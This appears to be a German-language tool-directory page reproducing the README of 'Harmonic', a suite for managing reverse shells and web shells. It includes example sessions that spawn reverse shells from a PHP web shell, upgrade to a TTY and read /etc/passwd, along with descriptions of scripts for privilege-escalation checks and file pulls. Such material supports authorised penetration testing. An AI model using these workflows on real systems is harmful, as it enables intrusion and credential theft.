Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Harmonic — Suite zur Handhabung von Reverse Shells, zugeschnitten auf die Arbeit in der nativen Shell | Kitploit
Tools/GitLabGitLab/runik/harmonic
Privilege EscalationScripting & AutomatisierungWebanwendungs-ExploitationInformationsbeschaffungPost-ExploitationPenetrationstestsCommand and ControlRemote-Access-ToolShellcode-GenerierungPayload-Entwicklung
16vor 8 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitLab
runik/harmonic

Harmonic

Suite zur Handhabung von Reverse Shells, zugeschnitten auf die Arbeit in der nativen Shell

Repository anzeigen

Harmonic Suite

Beginn eines Linux-Toolsets für die Verwaltung und Interaktion mit Reverse Shells (der Code befindet sich derzeit noch in einem Quick-and-Dirty-Zustand, mit wenig Exception-Behandlung). Stark inspiriert von der UNIX-Philosophie besteht die Grundidee darin, einen Daemon für die Verwaltung beliebiger Endpunkte zu haben (connd, obwohl es noch kein richtiger Daemon ist, aber in einem separaten Terminal laufen kann) und Tools gegen diese Endpunkte auszuführen.

Endpunkte werden von einem Skript oder einem Prozess 'angetrieben' und als Dateien im Dateisystem verfügbar gemacht. Anschließend kann ein schlanker Software-Client verwendet werden, um mit ihnen zu interagieren, aber sie können genauso einfach mit Shell-Befehlen beschrieben und gelesen werden. Tatsächlich ist die Möglichkeit, die Skripte eigenständig von der Shell aus auszuführen, ein wichtiges Design-Kriterium, bei dem idealerweise ein Skript höchstens von einem vorhandenen Endpunkt abhängt, aber auch in Kombination verwendet werden kann (ineinander greifen).

Die aktuellen Endpunktoptionen sind:

  • nc - Netcat-Endpunkt auf einem bestimmten Port starten
  • wsh - Eine kontextuelle Shell zur Interaktion mit einem einfachen Web-Shell-Skript
  • with - Einen beliebigen Prozess als Endpunkt ausführen

Der schlanke Software-Client (hthinc.py) bietet eine grundlegende Schnittstelle zum Endpunkt des Systems sowie die Möglichkeit, schnell Skripte gegen das System auszuführen. Es wurden mehrere einfache, aber nützliche Skripte geschrieben:

  • sp - führt eine Enumeration gegen ein entferntes Linux-System durch, ermittelt Skriptsprachen (derzeit nur Python), startet einen neuen Endpunkt und erzeugt über den aktuellen Endpunkt eine interaktive Shell, um sich mit dem neuen Endpunkt zu verbinden. Wenn ein Treiber angegeben ist, wird die Enumeration übersprungen und versucht, den Treiber zu verwenden.
  • lpc - Führt das Skript Linux Priv Escalation Checker über den Endpunkt gegen das System aus.
  • log - Protokolliert die Ausgabe eines Befehls im aktuellen Arbeitsverzeichnis.
  • mac - Führt ein vordefiniertes Makro gegen den Endpunkt aus (wie im Makro-Abschnitt von $HCROOT/.hcrc definiert
  • pull - Ein Makroskript für wget, das Dateien von einem Portal-Dispatch herunterlädt (Linux)
  • fpull - Ein Makroskript für fetch, das Dateien von einem Portal-Dispatch herunterlädt (*bsd)
  • wpinit - Ermittelt Windows-Skript-Engines (derzeit nur VB) und erzeugt ein Datei-Portal-Skript zur Verwendung mit wpull
  • vbpull - Ein Makroskript für das Skript portal.vbs (siehe: wpinit), um Dateien von einem Portal-Dispatch zu ziehen (Windows)
  • pspull - Ein Makroskript zur Verwendung von PowerShell, um eine Datei von einem Portal-Dispatch zu ziehen (Windows)

Die Arten von Reverse-Shell-Treibern (d. h. was die Shell auf dem entfernten System antreibt) sind die folgenden (derzeit Unterstützung für Linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Weitere Skripte:

  • hgenrsh.py - erzeugt einen Python-Befehl für eine Reverse-Shell (komprimiert und Base64-kodiert), der sich vom laufenden Prozess abspalten kann
  • hcmd.py - führt einen Befehl aus der lokalen Umgebung aus
  • hscr.py - führt ein mit Hooks versehenes Skript aus
  • hdis.py - lauscht auf eine Verbindung und sendet beliebige Daten von stdin an den Client
  • sys/bin/hpd.py - Portal-Dispatch-Server zum Abrufen von Dateien über das HTTP-Protokoll

Beispielverwendung

  • Für das Beispiel zeigt $HCROOT auf das Verzeichnis dieses Repositorys (siehe Konfiguration unten)
  • connd läuft als Daemon oder normaler Prozess.
    • Es kann von $HCROOT/sys/bin/connd ausgeführt werden (es muss zuerst gebaut werden)

Weisen Sie connd an, einen Endpunkt zu starten, unter Verwendung eines Wedge-Shell-Treibers gegen das bereitgestellte PHP-Skript, das Systemaufrufe mit formatierter Antwort durchführt. Dieses einzeilige Skript hätte jedoch genauso gut als Code in ein Server-Log injiziert werden können.

$ hconnd.py start wsh http://example.com/hwsh.php
1

Dadurch wurde Endpunkt 1 erstellt (zwei I/O-Pipes -- Sie können sie als t1i und t1o im Unterverzeichnis run sehen). Jetzt verwenden wir hthinc.py, um mit der Shell zu interagieren.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Wir wissen, dass es sich um eine Linux-Box handelt. Wir wollen von einer eingeklemmten Web-Shell weg und eine richtige Shell bekommen. Die Ausführung des integrierten Befehls !help liefert die thinc-Hilfemeldung. Wir können ein Skript sp ausführen, das automatisch Befehle gegen das entfernte System ausführt, die Umgebung enumeriert, einen nc-Endpunkt startet, eine Reverse-Shell erzeugt und automatisch über ein neues hthinc.py einsteigt:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Oder wenn wir wissen, dass wir (zum Beispiel) PHP als Treiber verwenden, können wir das angeben:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Und wenn wir eine Shell ohne TTY haben oder ausbrechen wollen, können wir eines der Standard-Makros ausführen:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Wenn wir außerdem die Ausgabe eines Befehls protokollieren möchten, können wir das log-Skript verwenden, das sie im aktuellen Arbeitsverzeichnis speichert:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Während Endpunkte laufen, können Sie Clients anhängen/abhängen, da die Verbindungsprozesse vom Daemon verwaltet werden.

Schnell wiederholen

Da alles auf eine eher unix-artige Weise ausgeführt werden kann, können wir Prozesse schnell von der Shell aus wiederholen. Wir starten einen Webshell-Endpunkt, erhalten die Endpunkt-ID und führen dann von der Shell aus das Spawner-Skript sp.py gegen den Endpunkt aus (es ist dasselbe Skript wie in hthinc.py, verwendet jedoch einen anderen Einstiegspunkt).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

oder als Einzeiler:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

und einfach automatisieren:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Einen Befehl aus Ihrer lokalen Umgebung ausführen

Das Tool hcmd.py ermöglicht es Ihnen, schnell einen Befehl über einen Endpunkt von Ihrer Shell aus auszuführen.

Tool herunterladen